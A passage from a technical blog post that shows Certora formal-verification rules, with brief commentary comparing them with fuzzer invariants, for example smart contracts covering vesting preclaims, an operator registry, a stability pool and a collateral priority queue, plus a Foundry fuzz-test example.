<p>Specification: a <a target="_blank" href="https://github.com/devdacian/solidity-fuzzing-comparison/blob/main/src/10-vesting-ext/VestingExt.sol"><code>VestingExt</code></a> contract contains the same functionality as the previous <code>Vesting</code> contract plus an additional feature which lets users <code>preclaim</code> part of their token allocation, allowing users to get a limited amount of tokens before their vesting period is served.</p>
<p>When implementing the <a target="_blank" href="https://dacian.me/find-highs-before-external-auditors-using-invariant-fuzz-testing#heading-example-6-vesting-preclaim-abuse">fuzzer invariant</a> I verified that the total <code>preclaimed</code> points is always less than or equal to the maximum preclaimable points (which is just the number of users multiplied by the maximum preclaim point amount per user):</p>
<pre><code class="lang-solidity"><span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">property_total_preclaimed_lt_eq_max_preclaimable</span>(<span class="hljs-params"></span>) <span class="hljs-title"><span class="hljs-keyword">public</span></span> <span class="hljs-title"><span class="hljs-keyword">view</span></span> <span class="hljs-title"><span class="hljs-keyword">returns</span></span>(<span class="hljs-params"><span class="hljs-keyword">bool</span> result</span>) </span>{
    result <span class="hljs-operator">=</span> totalPreclaimed <span class="hljs-operator">&lt;</span><span class="hljs-operator">=</span> MAX_PRECLAIMABLE;
}
</code></pre>
<p>However <code>alexzoid_eth</code> implemented a Certora <a target="_blank" href="https://github.com/devdacian/solidity-fuzzing-comparison/blob/main/test/10-vesting-ext/certora.spec"><code>rule</code></a> which verifies <code>preclaimed</code> amounts are transferred at the same time as points:</p>
<pre><code class="lang-solidity"><span class="hljs-comment">// solution provided by https://x.com/alexzoid_eth</span>
methods {
    <span class="hljs-comment">// `envfree` definitions to call functions without explicit `env`</span>
    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">allocations</span>(<span class="hljs-params"><span class="hljs-keyword">address</span></span>) <span class="hljs-title"><span class="hljs-keyword">external</span></span> <span class="hljs-title"><span class="hljs-keyword">returns</span></span> (<span class="hljs-params"><span class="hljs-keyword">uint24</span>, <span class="hljs-keyword">uint8</span>, <span class="hljs-keyword">bool</span>, <span class="hljs-keyword">uint96</span></span>) <span class="hljs-title">envfree</span></span>;
    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">getUserTokenAllocation</span>(<span class="hljs-params"><span class="hljs-keyword">uint24</span></span>) <span class="hljs-title"><span class="hljs-keyword">external</span></span> <span class="hljs-title"><span class="hljs-keyword">returns</span></span> (<span class="hljs-params"><span class="hljs-keyword">uint96</span></span>) <span class="hljs-title">envfree</span></span>;
    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">getUserMaxPreclaimable</span>(<span class="hljs-params"><span class="hljs-keyword">uint96</span></span>) <span class="hljs-title"><span class="hljs-keyword">external</span></span> <span class="hljs-title"><span class="hljs-keyword">returns</span></span> (<span class="hljs-params"><span class="hljs-keyword">uint96</span></span>) <span class="hljs-title">envfree</span></span>;
}

<span class="hljs-comment">// reusable helper functions to get data from underlying contract</span>
<span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">userPointsCVL</span>(<span class="hljs-params"><span class="hljs-keyword">address</span> user</span>) <span class="hljs-title"><span class="hljs-keyword">returns</span></span> <span class="hljs-title"><span class="hljs-keyword">uint24</span></span> </span>{
    <span class="hljs-keyword">uint24</span> points; <span class="hljs-keyword">uint8</span> vestingWeeks; <span class="hljs-keyword">bool</span> claimed; <span class="hljs-keyword">uint96</span> preclaimed;
    (points, vestingWeeks, claimed, preclaimed) <span class="hljs-operator">=</span> allocations(user);
    <span class="hljs-keyword">return</span> points;
}
<span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">userPreclaimedCVL</span>(<span class="hljs-params"><span class="hljs-keyword">address</span> user</span>) <span class="hljs-title"><span class="hljs-keyword">returns</span></span> <span class="hljs-title"><span class="hljs-keyword">uint96</span></span> </span>{
    <span class="hljs-keyword">uint24</span> points; <span class="hljs-keyword">uint8</span> vestingWeeks; <span class="hljs-keyword">bool</span> claimed; <span class="hljs-keyword">uint96</span> preclaimed;
    (points, vestingWeeks, claimed, preclaimed) <span class="hljs-operator">=</span> allocations(user);
    <span class="hljs-keyword">return</span> preclaimed;
}
<span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">userMaxPreclaimableCVL</span>(<span class="hljs-params"><span class="hljs-keyword">address</span> user</span>) <span class="hljs-title"><span class="hljs-keyword">returns</span></span> <span class="hljs-title"><span class="hljs-keyword">uint96</span></span> </span>{
    <span class="hljs-keyword">uint96</span> maxPreclaimable <span class="hljs-operator">=</span> getUserMaxPreclaimable(getUserTokenAllocation(userPointsCVL(user)));
    <span class="hljs-keyword">return</span> maxPreclaimable;
}

<span class="hljs-comment">// when a user who has preclaimed transfers their points to another</span>
<span class="hljs-comment">// address, the preclaimed amount should transfer over to prevent</span>
<span class="hljs-comment">// gaming preclaim functionality by preclaiming more than allowed</span>
rule preclaimedTransferred(env e, <span class="hljs-keyword">address</span> targetUser, <span class="hljs-keyword">uint24</span> points) {
    <span class="hljs-comment">// enforce address sanity checks</span>
    <span class="hljs-built_in">require</span> e.msg.sender <span class="hljs-operator">!</span><span class="hljs-operator">=</span> currentContract <span class="hljs-operator">&amp;</span><span class="hljs-operator">&amp;</span> targetUser <span class="hljs-operator">!</span><span class="hljs-operator">=</span> currentContract <span class="hljs-operator">&amp;</span><span class="hljs-operator">&amp;</span>
            e.msg.sender <span class="hljs-operator">!</span><span class="hljs-operator">=</span> <span class="hljs-number">0</span> <span class="hljs-operator">&amp;</span><span class="hljs-operator">&amp;</span> targetUser <span class="hljs-operator">!</span><span class="hljs-operator">=</span> <span class="hljs-number">0</span>;

    <span class="hljs-comment">// enforce sender already preclaimed</span>
    <span class="hljs-built_in">require</span> userPreclaimedCVL(e.msg.sender) <span class="hljs-operator">=</span><span class="hljs-operator">=</span> userMaxPreclaimableCVL(e.msg.sender);
    <span class="hljs-comment">// enforce receiver has no points and not preclaimed</span>
    <span class="hljs-built_in">require</span> userPreclaimedCVL(targetUser) <span class="hljs-operator">=</span><span class="hljs-operator">=</span> <span class="hljs-number">0</span> <span class="hljs-operator">&amp;</span><span class="hljs-operator">&amp;</span> userPointsCVL(targetUser) <span class="hljs-operator">=</span><span class="hljs-operator">=</span> <span class="hljs-number">0</span>;

    <span class="hljs-comment">// perform successful points transfer transaction</span>
    transferPoints(e, targetUser, points);

    <span class="hljs-comment">// assert both sender and receiver have preclaimed correctly</span>
    <span class="hljs-comment">// updated from their updated points </span>
    <span class="hljs-built_in">assert</span> userPreclaimedCVL(e.msg.sender) <span class="hljs-operator">=</span><span class="hljs-operator">=</span> userMaxPreclaimableCVL(e.msg.sender);
    <span class="hljs-built_in">assert</span> userPreclaimedCVL(targetUser)   <span class="hljs-operator">=</span><span class="hljs-operator">=</span> userMaxPreclaimableCVL(targetUser);
}
</code></pre>
<p>Given that there is no setup, handlers or other fuzzing “infrastructure”, this again is quite an elegant and concise solution.</p>
<h2 id="heading-example-7-operator-registry-corruption">Example 7 - Operator Registry Corruption</h2>
<p>Specification: an <a target="_blank" href="https://github.com/devdacian/solidity-fuzzing-comparison/blob/main/src/11-op-reg/OperatorRegistry.sol"><code>OperatorRegistry</code></a> contract allows users to register as operators and receive an <code>operatorId</code> where the first <code>operatorId = 1</code> and subsequent ids are incremented.</p>
<p>The contract storage has multiple inter-related data structures which use both the user’s <code>address</code> and <code>operatorId</code> as keys in mappings to reference one another, enabling lookup of operator data by either <code>address</code> or <code>operatorId</code>. Users can also update their <code>address</code>.</p>
<p>I implemented the same invariant as the <a target="_blank" href="https://dacian.me/find-highs-before-external-auditors-using-invariant-fuzz-testing#heading-example-7-operator-registry-corruption">fuzzer</a> but in a more elegant and concise Certora <a target="_blank" href="https://github.com/devdacian/solidity-fuzzing-comparison/blob/main/test/11-op-reg/certora.spec"><code>rule</code></a>, showing once again the great power of Certora’s domain-specific formal verification language especially when using parametric rules:</p>
<pre><code class="lang-solidity"><span class="hljs-comment">// given two registered operators, there should be no f() that could</span>
<span class="hljs-comment">// corrupt the unique relationship between operator_id : operator_address</span>
rule operator_addresses_have_unique_ids(<span class="hljs-keyword">address</span> opAddr1, <span class="hljs-keyword">address</span> opAddr2) {
    <span class="hljs-comment">// enforce unique addresses in `operatorAddressToId` mapping</span>
    <span class="hljs-built_in">require</span> opAddr1 <span class="hljs-operator">!</span><span class="hljs-operator">=</span> opAddr2;

    <span class="hljs-keyword">uint128</span> op1AddrToId <span class="hljs-operator">=</span> currentContract.operatorAddressToId[opAddr1];
    <span class="hljs-keyword">uint128</span> op2AddrToId <span class="hljs-operator">=</span> currentContract.operatorAddressToId[opAddr2];

    <span class="hljs-comment">// enforce valid and unique operator_ids in `operatorAddressToId` mapping</span>
    <span class="hljs-built_in">require</span> op1AddrToId <span class="hljs-operator">!</span><span class="hljs-operator">=</span> op2AddrToId <span class="hljs-operator">&amp;</span><span class="hljs-operator">&amp;</span> op1AddrToId <span class="hljs-operator">&gt;</span> <span class="hljs-number">0</span> <span class="hljs-operator">&amp;</span><span class="hljs-operator">&amp;</span> op2AddrToId <span class="hljs-operator">&gt;</span> <span class="hljs-number">0</span>;

    <span class="hljs-comment">// enforce matching addresses in `operatorIdToAddress` mapping</span>
    <span class="hljs-built_in">require</span> currentContract.operatorIdToAddress[op1AddrToId] <span class="hljs-operator">=</span><span class="hljs-operator">=</span> opAddr1 <span class="hljs-operator">&amp;</span><span class="hljs-operator">&amp;</span>
            currentContract.operatorIdToAddress[op2AddrToId] <span class="hljs-operator">=</span><span class="hljs-operator">=</span> opAddr2;

    <span class="hljs-comment">// perform any arbitrary successful transaction f()</span>
    env e;
    method f;
    calldataarg args;
    f(e, args);

    <span class="hljs-comment">// verify that no transaction exists which corrupts the uniqueness</span>
    <span class="hljs-comment">// property between operator_id : operator_address</span>
    <span class="hljs-built_in">assert</span> currentContract.operatorIdToAddress[op1AddrToId] <span class="hljs-operator">!</span><span class="hljs-operator">=</span>
           currentContract.operatorIdToAddress[op2AddrToId];
}
</code></pre>
<p>Note again the use of <code>require</code> statements instructing Certora to create an initial valid state.</p>
<h2 id="heading-example-8-liquidate-denial-of-service">Example 8 - Liquidate Denial Of Service</h2>
<p>Specification: a <a target="_blank" href="https://github.com/devdacian/solidity-fuzzing-comparison/blob/main/src/12-liquidate-dos/LiquidateDos.sol"><code>LiquidateDos</code></a> contract allows traders to enter multiple markets and have one open position in each market. Traders can also be liquidated:</p>
<ul>
<li><p>all open positions are accounted when determining if a trader is liquidatable</p>
</li>
<li><p>if liquidated, all open positions are closed for the trader being liquidated</p>
</li>
<li><p>liquidation should never fail with unexpected errors</p>
</li>
</ul>
<p>Unfortunately at this time Certora can’t be used for Unexpected Denial Of Service checks as CVL does not return the reason for a revert - it only provides <code>lastReverted</code> and <code>lastHasThrown</code> which are both booleans (and <code>size</code> if using a <code>revert</code> opcode hook). Certora has confirmed in their discord that <em>“we have a plan to implement this feature in the prover”</em> so we will update once this feature is added.</p>
<h2 id="heading-example-9-stability-pool-drain">Example 9 - Stability Pool Drain</h2>
<p>Specification: a <a target="_blank" href="https://github.com/devdacian/solidity-fuzzing-comparison/blob/main/src/13-stability-pool/StabilityPool.sol"><code>StabilityPool</code></a> contract which:</p>
<ul>
<li><p>allows users to deposit <code>debtToken</code> which is used to pay down bad debt during liquidations</p>
</li>
<li><p>in exchange <code>debtToken</code> depositors receive a share of <code>collateralToken</code> rewards from collateral seized during liquidations</p>
</li>
<li><p>contains quite complicated logic to calculate the reward share <code>debtToken</code> depositors should receive</p>
</li>
<li><p>must always remain solvent; the pool should always have sufficient <code>collateralToken</code> to pay out rewards owed to <code>debtToken</code> depositors</p>
</li>
</ul>
<p>Using a <code>rule</code> construction I transformed the <a target="_blank" href="https://dacian.me/find-highs-before-external-auditors-using-invariant-fuzz-testing#heading-example-9-stability-pool-drain">invariant used in the fuzzer</a> into a “scenario” which Certora was able to <a target="_blank" href="https://github.com/devdacian/solidity-fuzzing-comparison/blob/main/test/13-stability-pool/certora.spec">solve</a>:</p>
<pre><code class="lang-solidity">methods {
    <span class="hljs-comment">// `envfree` definitions to call functions without explicit `env`</span>
    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">getDepositorCollateralGain</span>(<span class="hljs-params"><span class="hljs-keyword">address</span></span>) <span class="hljs-title"><span class="hljs-keyword">external</span></span> <span class="hljs-title"><span class="hljs-keyword">returns</span></span> (<span class="hljs-params"><span class="hljs-keyword">uint256</span></span>) <span class="hljs-title">envfree</span></span>;
}

<span class="hljs-comment">// stability pool depositors should not be able to drain the stability</span>
<span class="hljs-comment">// pool; the stability pool should always hold enough collateral tokens</span>
<span class="hljs-comment">// to pay out rewards owed to depositors</span>
rule stability_pool_solvent(<span class="hljs-keyword">address</span> spDep1, <span class="hljs-keyword">address</span> spDep2) {
    <span class="hljs-comment">// enforce address sanity checks</span>
    <span class="hljs-built_in">require</span> spDep1 <span class="hljs-operator">!</span><span class="hljs-operator">=</span> spDep2 <span class="hljs-operator">&amp;</span><span class="hljs-operator">&amp;</span>
            spDep1 <span class="hljs-operator">!</span><span class="hljs-operator">=</span> currentContract <span class="hljs-operator">&amp;</span><span class="hljs-operator">&amp;</span>
            spDep1 <span class="hljs-operator">!</span><span class="hljs-operator">=</span> currentContract.debtToken <span class="hljs-operator">&amp;</span><span class="hljs-operator">&amp;</span>
            spDep1 <span class="hljs-operator">!</span><span class="hljs-operator">=</span> currentContract.collateralToken <span class="hljs-operator">&amp;</span><span class="hljs-operator">&amp;</span>
            spDep2 <span class="hljs-operator">!</span><span class="hljs-operator">=</span> currentContract <span class="hljs-operator">&amp;</span><span class="hljs-operator">&amp;</span>
            spDep2 <span class="hljs-operator">!</span><span class="hljs-operator">=</span> currentContract.debtToken <span class="hljs-operator">&amp;</span><span class="hljs-operator">&amp;</span>
            spDep2 <span class="hljs-operator">!</span><span class="hljs-operator">=</span> currentContract.collateralToken;

    <span class="hljs-comment">// enforce neither user has active deposits or rewards</span>
    <span class="hljs-built_in">require</span> currentContract.accountDeposits[spDep1].amount     <span class="hljs-operator">=</span><span class="hljs-operator">=</span> <span class="hljs-number">0</span> <span class="hljs-operator">&amp;</span><span class="hljs-operator">&amp;</span>
            currentContract.accountDeposits[spDep1].timestamp  <span class="hljs-operator">=</span><span class="hljs-operator">=</span> <span class="hljs-number">0</span> <span class="hljs-operator">&amp;</span><span class="hljs-operator">&amp;</span>
            currentContract.depositSnapshots[spDep1].P         <span class="hljs-operator">=</span><span class="hljs-operator">=</span> <span class="hljs-number">0</span> <span class="hljs-operator">&amp;</span><span class="hljs-operator">&amp;</span>
            currentContract.depositSnapshots[spDep1].scale     <span class="hljs-operator">=</span><span class="hljs-operator">=</span> <span class="hljs-number">0</span> <span class="hljs-operator">&amp;</span><span class="hljs-operator">&amp;</span>
            currentContract.depositSnapshots[spDep1].epoch     <span class="hljs-operator">=</span><span class="hljs-operator">=</span> <span class="hljs-number">0</span> <span class="hljs-operator">&amp;</span><span class="hljs-operator">&amp;</span>
            currentContract.depositSums[spDep1]                <span class="hljs-operator">=</span><span class="hljs-operator">=</span> <span class="hljs-number">0</span> <span class="hljs-operator">&amp;</span><span class="hljs-operator">&amp;</span>
            currentContract.collateralGainsByDepositor[spDep1] <span class="hljs-operator">=</span><span class="hljs-operator">=</span> <span class="hljs-number">0</span> <span class="hljs-operator">&amp;</span><span class="hljs-operator">&amp;</span>
            currentContract.accountDeposits[spDep2].amount     <span class="hljs-operator">=</span><span class="hljs-operator">=</span> <span class="hljs-number">0</span> <span class="hljs-operator">&amp;</span><span class="hljs-operator">&amp;</span>
            currentContract.accountDeposits[spDep2].timestamp  <span class="hljs-operator">=</span><span class="hljs-operator">=</span> <span class="hljs-number">0</span> <span class="hljs-operator">&amp;</span><span class="hljs-operator">&amp;</span>
            currentContract.depositSnapshots[spDep2].P         <span class="hljs-operator">=</span><span class="hljs-operator">=</span> <span class="hljs-number">0</span> <span class="hljs-operator">&amp;</span><span class="hljs-operator">&amp;</span>
            currentContract.depositSnapshots[spDep2].scale     <span class="hljs-operator">=</span><span class="hljs-operator">=</span> <span class="hljs-number">0</span> <span class="hljs-operator">&amp;</span><span class="hljs-operator">&amp;</span>
            currentContract.depositSnapshots[spDep2].epoch     <span class="hljs-operator">=</span><span class="hljs-operator">=</span> <span class="hljs-number">0</span> <span class="hljs-operator">&amp;</span><span class="hljs-operator">&amp;</span>
            currentContract.depositSums[spDep2]                <span class="hljs-operator">=</span><span class="hljs-operator">=</span> <span class="hljs-number">0</span> <span class="hljs-operator">&amp;</span><span class="hljs-operator">&amp;</span>
            currentContract.collateralGainsByDepositor[spDep2] <span class="hljs-operator">=</span><span class="hljs-operator">=</span> <span class="hljs-number">0</span>;

    <span class="hljs-comment">// enforce that both users have tokens to deposit into stability pool</span>
    env e;
    <span class="hljs-keyword">uint256</span> user1DebtTokens <span class="hljs-operator">=</span> currentContract.debtToken.balanceOf(e, spDep1);
    <span class="hljs-keyword">uint256</span> user2DebtTokens <span class="hljs-operator">=</span> currentContract.debtToken.balanceOf(e, spDep2);
    <span class="hljs-built_in">require</span> user1DebtTokens <span class="hljs-operator">&gt;</span><span class="hljs-operator">=</span> <span class="hljs-number">1000000000000000000</span> <span class="hljs-operator">&amp;</span><span class="hljs-operator">&amp;</span> user2DebtTokens <span class="hljs-operator">&gt;</span><span class="hljs-operator">=</span> <span class="hljs-number">1000000000000000000</span> <span class="hljs-operator">&amp;</span><span class="hljs-operator">&amp;</span>
            user1DebtTokens <span class="hljs-operator">=</span><span class="hljs-operator">=</span> user2DebtTokens;

    <span class="hljs-comment">// both users deposit their debt tokens into the stability pool</span>
    env e1;
    <span class="hljs-built_in">require</span> e1.msg.sender <span class="hljs-operator">=</span><span class="hljs-operator">=</span> spDep1;
    provideToSP(e1, user1DebtTokens);
    env e2;
    <span class="hljs-built_in">require</span> e2.msg.sender <span class="hljs-operator">=</span><span class="hljs-operator">=</span> spDep2;
    provideToSP(e2, user2DebtTokens);

    <span class="hljs-comment">// stability pool is used to offset debt from a liquidation</span>
    <span class="hljs-keyword">uint256</span> debtTokensToOffset <span class="hljs-operator">=</span> require_uint256(user1DebtTokens <span class="hljs-operator">+</span> user2DebtTokens);
    <span class="hljs-keyword">uint256</span> seizedCollateral <span class="hljs-operator">=</span> debtTokensToOffset; <span class="hljs-comment">// 1:1</span>
    env e3;
    registerLiquidation(e3, debtTokensToOffset, seizedCollateral);

    <span class="hljs-built_in">require</span>(currentContract.collateralToken.balanceOf(e, currentContract) <span class="hljs-operator">=</span><span class="hljs-operator">=</span> seizedCollateral);

    <span class="hljs-comment">// enforce each user is owed same reward since they deposited the same</span>
    <span class="hljs-keyword">uint256</span> rewardPerUser <span class="hljs-operator">=</span> getDepositorCollateralGain(spDep1);
    <span class="hljs-built_in">require</span> rewardPerUser <span class="hljs-operator">&gt;</span> <span class="hljs-number">0</span>;
    <span class="hljs-built_in">require</span> rewardPerUser <span class="hljs-operator">=</span><span class="hljs-operator">=</span> getDepositorCollateralGain(spDep2);

    <span class="hljs-comment">// enforce contract has enough reward tokens to pay both users</span>
    <span class="hljs-built_in">require</span>(currentContract.collateralToken.balanceOf(e, currentContract) <span class="hljs-operator">&gt;</span><span class="hljs-operator">=</span> require_uint256(rewardPerUser <span class="hljs-operator">*</span> <span class="hljs-number">2</span>));

    <span class="hljs-comment">// first user withdraws their reward</span>
    env e4;
    <span class="hljs-built_in">require</span> e4.msg.sender <span class="hljs-operator">=</span><span class="hljs-operator">=</span> spDep1;
    claimCollateralGains(e4);

    <span class="hljs-comment">// enforce contract has enough reward tokens to pay second user</span>
    <span class="hljs-built_in">require</span>(currentContract.collateralToken.balanceOf(e, currentContract) <span class="hljs-operator">&gt;</span><span class="hljs-operator">=</span> rewardPerUser);

    <span class="hljs-comment">// first user perform any arbitrary successful transaction f()</span>
    env e5;
    <span class="hljs-built_in">require</span> e5.msg.sender <span class="hljs-operator">=</span><span class="hljs-operator">=</span> spDep1;
    method f;
    calldataarg args;
    f(e5, args);

    <span class="hljs-comment">// second user withdraws their reward</span>
    env e6;
    <span class="hljs-built_in">require</span> e6.msg.sender <span class="hljs-operator">=</span><span class="hljs-operator">=</span> spDep2 <span class="hljs-operator">&amp;</span><span class="hljs-operator">&amp;</span>
            e6.msg.<span class="hljs-built_in">value</span>  <span class="hljs-operator">=</span><span class="hljs-operator">=</span> <span class="hljs-number">0</span>;
    claimCollateralGains@withrevert(e6);

    <span class="hljs-comment">// verify first user was not able to do anything that would make</span>
    <span class="hljs-comment">// second user's withdrawal revert</span>
    <span class="hljs-built_in">assert</span> <span class="hljs-operator">!</span>lastReverted;
}
</code></pre>
<p>Note again the heavy usage of <code>require</code> statements to prevent Certora from breaking the assertion by generating an invalid state.</p>
<h2 id="heading-example-10-collateral-priority-corruption">Example 10 - Collateral Priority Corruption</h2>
<p>Specification: a <a target="_blank" href="https://github.com/devdacian/solidity-fuzzing-comparison/blob/main/src/14-priority/Priority.sol"><code>Priority</code></a> contract used in multi-collateral lending protocols:</p>
<ul>
<li><p>defines a liquidation priority order for collaterals</p>
</li>
<li><p>when a liquidation occurs, the riskiest collaterals are liquidated first such that the borrower’s remaining collateral basket is more stable post-liquidation</p>
</li>
<li><p>allows collaterals to be added and removed; adding always puts the new collateral at the end of the priority queue while removing preserves the existing order minus the removed element</p>
</li>
</ul>
<p>Here I used a similar approach to Example #9, translating the <a target="_blank" href="https://dacian.me/find-highs-before-external-auditors-using-invariant-fuzz-testing#heading-example-10-collateral-priority-corruption">fuzzer invariant</a> into a <code>rule</code> which describes a <a target="_blank" href="https://github.com/devdacian/solidity-fuzzing-comparison/blob/main/test/14-priority/certora.spec">scenario</a> then verifies an assertion that Certora was able to break:</p>
<pre><code class="lang-solidity">methods {
    <span class="hljs-comment">// `envfree` definitions to call functions without explicit `env`</span>
    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">getCollateralAtPriority</span>(<span class="hljs-params"><span class="hljs-keyword">uint8</span></span>) <span class="hljs-title"><span class="hljs-keyword">external</span></span> <span class="hljs-title"><span class="hljs-keyword">returns</span></span>(<span class="hljs-params"><span class="hljs-keyword">uint8</span></span>)   <span class="hljs-title">envfree</span></span>;
    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">containsCollateral</span>(<span class="hljs-params"><span class="hljs-keyword">uint8</span></span>)      <span class="hljs-title"><span class="hljs-keyword">external</span></span> <span class="hljs-title"><span class="hljs-keyword">returns</span></span>(<span class="hljs-params"><span class="hljs-keyword">bool</span></span>)    <span class="hljs-title">envfree</span></span>;
    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">numCollateral</span>(<span class="hljs-params"></span>)                <span class="hljs-title"><span class="hljs-keyword">external</span></span> <span class="hljs-title"><span class="hljs-keyword">returns</span></span>(<span class="hljs-params"><span class="hljs-keyword">uint256</span></span>) <span class="hljs-title">envfree</span></span>;
}

<span class="hljs-comment">// verify priority queue order is correctly maintained:</span>
<span class="hljs-comment">// - `addCollateral` adds new id to end of the queue</span>
<span class="hljs-comment">// - `removeCollateral` maintains existing order minus removed id</span>
rule priority_order_correct() {
    <span class="hljs-comment">// require no initial collateral to prevent HAVOC corrupting</span>
    <span class="hljs-comment">// EnumerableSet _positions -&gt; _values references</span>
    <span class="hljs-built_in">require</span> numCollateral() <span class="hljs-operator">=</span><span class="hljs-operator">=</span> <span class="hljs-number">0</span>   <span class="hljs-operator">&amp;</span><span class="hljs-operator">&amp;</span> <span class="hljs-operator">!</span>containsCollateral(<span class="hljs-number">1</span>) <span class="hljs-operator">&amp;</span><span class="hljs-operator">&amp;</span>
            <span class="hljs-operator">!</span>containsCollateral(<span class="hljs-number">2</span>) <span class="hljs-operator">&amp;</span><span class="hljs-operator">&amp;</span> <span class="hljs-operator">!</span>containsCollateral(<span class="hljs-number">3</span>);

    <span class="hljs-comment">// setup initial state with collateral_id order: 1,2,3 which ensures</span>
    <span class="hljs-comment">// EnumerableSet _positions -&gt; _values references are correct</span>
    env e1;
    addCollateral(e1, <span class="hljs-number">1</span>);
    addCollateral(e1, <span class="hljs-number">2</span>);
    addCollateral(e1, <span class="hljs-number">3</span>);

    <span class="hljs-comment">// sanity check initial state</span>
    <span class="hljs-built_in">assert</span> numCollateral() <span class="hljs-operator">=</span><span class="hljs-operator">=</span> <span class="hljs-number">3</span>  <span class="hljs-operator">&amp;</span><span class="hljs-operator">&amp;</span> containsCollateral(<span class="hljs-number">1</span>) <span class="hljs-operator">&amp;</span><span class="hljs-operator">&amp;</span>
           containsCollateral(<span class="hljs-number">2</span>) <span class="hljs-operator">&amp;</span><span class="hljs-operator">&amp;</span> containsCollateral(<span class="hljs-number">3</span>);

    <span class="hljs-comment">// sanity check initial order; this also verifies that</span>
    <span class="hljs-comment">// `addCollateral` worked as expected</span>
    <span class="hljs-built_in">assert</span> getCollateralAtPriority(<span class="hljs-number">0</span>) <span class="hljs-operator">=</span><span class="hljs-operator">=</span> <span class="hljs-number">1</span> <span class="hljs-operator">&amp;</span><span class="hljs-operator">&amp;</span>
           getCollateralAtPriority(<span class="hljs-number">1</span>) <span class="hljs-operator">=</span><span class="hljs-operator">=</span> <span class="hljs-number">2</span> <span class="hljs-operator">&amp;</span><span class="hljs-operator">&amp;</span>
           getCollateralAtPriority(<span class="hljs-number">2</span>) <span class="hljs-operator">=</span><span class="hljs-operator">=</span> <span class="hljs-number">3</span>;

    <span class="hljs-comment">// successfully remove first id 1</span>
    removeCollateral(e1, <span class="hljs-number">1</span>);

    <span class="hljs-comment">// verify it was removed and other ids still exist</span>
    <span class="hljs-built_in">assert</span> numCollateral() <span class="hljs-operator">=</span><span class="hljs-operator">=</span> <span class="hljs-number">2</span>  <span class="hljs-operator">&amp;</span><span class="hljs-operator">&amp;</span> <span class="hljs-operator">!</span>containsCollateral(<span class="hljs-number">1</span>) <span class="hljs-operator">&amp;</span><span class="hljs-operator">&amp;</span>
           containsCollateral(<span class="hljs-number">2</span>) <span class="hljs-operator">&amp;</span><span class="hljs-operator">&amp;</span> containsCollateral(<span class="hljs-number">3</span>);

    <span class="hljs-comment">// assert existing order 2,3 preserved minus the removed first id 1</span>
    <span class="hljs-built_in">assert</span> getCollateralAtPriority(<span class="hljs-number">0</span>) <span class="hljs-operator">=</span><span class="hljs-operator">=</span> <span class="hljs-number">2</span> <span class="hljs-operator">&amp;</span><span class="hljs-operator">&amp;</span>
           getCollateralAtPriority(<span class="hljs-number">1</span>) <span class="hljs-operator">=</span><span class="hljs-operator">=</span> <span class="hljs-number">3</span>;
}
</code></pre>
<h2 id="heading-bonus-certora-foundry-plug-in">Bonus - Certora Foundry Plug-In</h2>
<p>Certora has experimental Foundry integration (<a target="_blank" href="https://docs.certora.com/en/latest/docs/cvl/foundry-integration.html">docs</a>, <a target="_blank" href="https://github.com/Certora/Examples/tree/master/FoundryIntegration">examples</a>) that allows running Foundry stateless fuzz tests through Certora’s formal verification. Consider the function <a target="_blank" href="https://github.com/devdacian/solidity-fuzzing-comparison/blob/main/test/06-rarely-false/TargetFunctions.sol#L9-L25"><code>test_RarelyFalse</code></a> containing a Chimera-style <code>t()</code> assertion which fails if <code>_rarelyFalse</code> returns <code>false</code>:</p>
<pre><code class="lang-solidity"><span class="hljs-keyword">uint256</span> <span class="hljs-keyword">constant</span> <span class="hljs-keyword">private</span> OFFSET <span class="hljs-operator">=</span> <span class="hljs-number">1234</span>;
<span class="hljs-keyword">uint256</span> <span class="hljs-keyword">constant</span> <span class="hljs-keyword">private</span> POW    <span class="hljs-operator">=</span> <span class="hljs-number">80</span>;
<span class="hljs-keyword">uint256</span> <span class="hljs-keyword">constant</span> <span class="hljs-keyword">private</span> LIMIT  <span class="hljs-operator">=</span> <span class="hljs-keyword">type</span>(<span class="hljs-keyword">uint256</span>).<span class="hljs-built_in">max</span> <span class="hljs-operator">-</span> OFFSET;

<span class="hljs-comment">// fuzzers call this function</span>
<span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">test_RarelyFalse</span>(<span class="hljs-params"><span class="hljs-keyword">uint256</span> n</span>) <span class="hljs-title"><span class="hljs-keyword">external</span></span> </span>{
    <span class="hljs-comment">// input preconditions</span>
    n <span class="hljs-operator">=</span> between(n, <span class="hljs-number">1</span>, LIMIT);

    <span class="hljs-comment">// assertion to break</span>
    t(_rarelyFalse(n <span class="hljs-operator">+</span> OFFSET, POW), <span class="hljs-string">"Should not be false"</span>);
}

<span class="hljs-comment">// actual implementation to test</span>
<span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">_rarelyFalse</span>(<span class="hljs-params"><span class="hljs-keyword">uint256</span> n, <span class="hljs-keyword">uint256</span> e</span>) <span class="hljs-title"><span class="hljs-keyword">private</span></span> <span class="hljs-title"><span class="hljs-keyword">pure</span></span> <span class="hljs-title"><span class="hljs-keyword">returns</span></span>(<span class="hljs-params"><span class="hljs-keyword">bool</span></span>) </span>{
    <span class="hljs-keyword">if</span>(n <span class="hljs-operator">%</span> <span class="hljs-number">2</span><span class="hljs-operator">*</span><span class="hljs-operator">*</span>e <span class="hljs-operator">=</span><span class="hljs-operator">=</span> <span class="hljs-number">0</span>) <span class="hljs-keyword">return</span> <span class="hljs-literal">false</span>;
    <span class="hljs-keyword">return</span> <span class="hljs-literal">true</span>;
}
</code></pre>
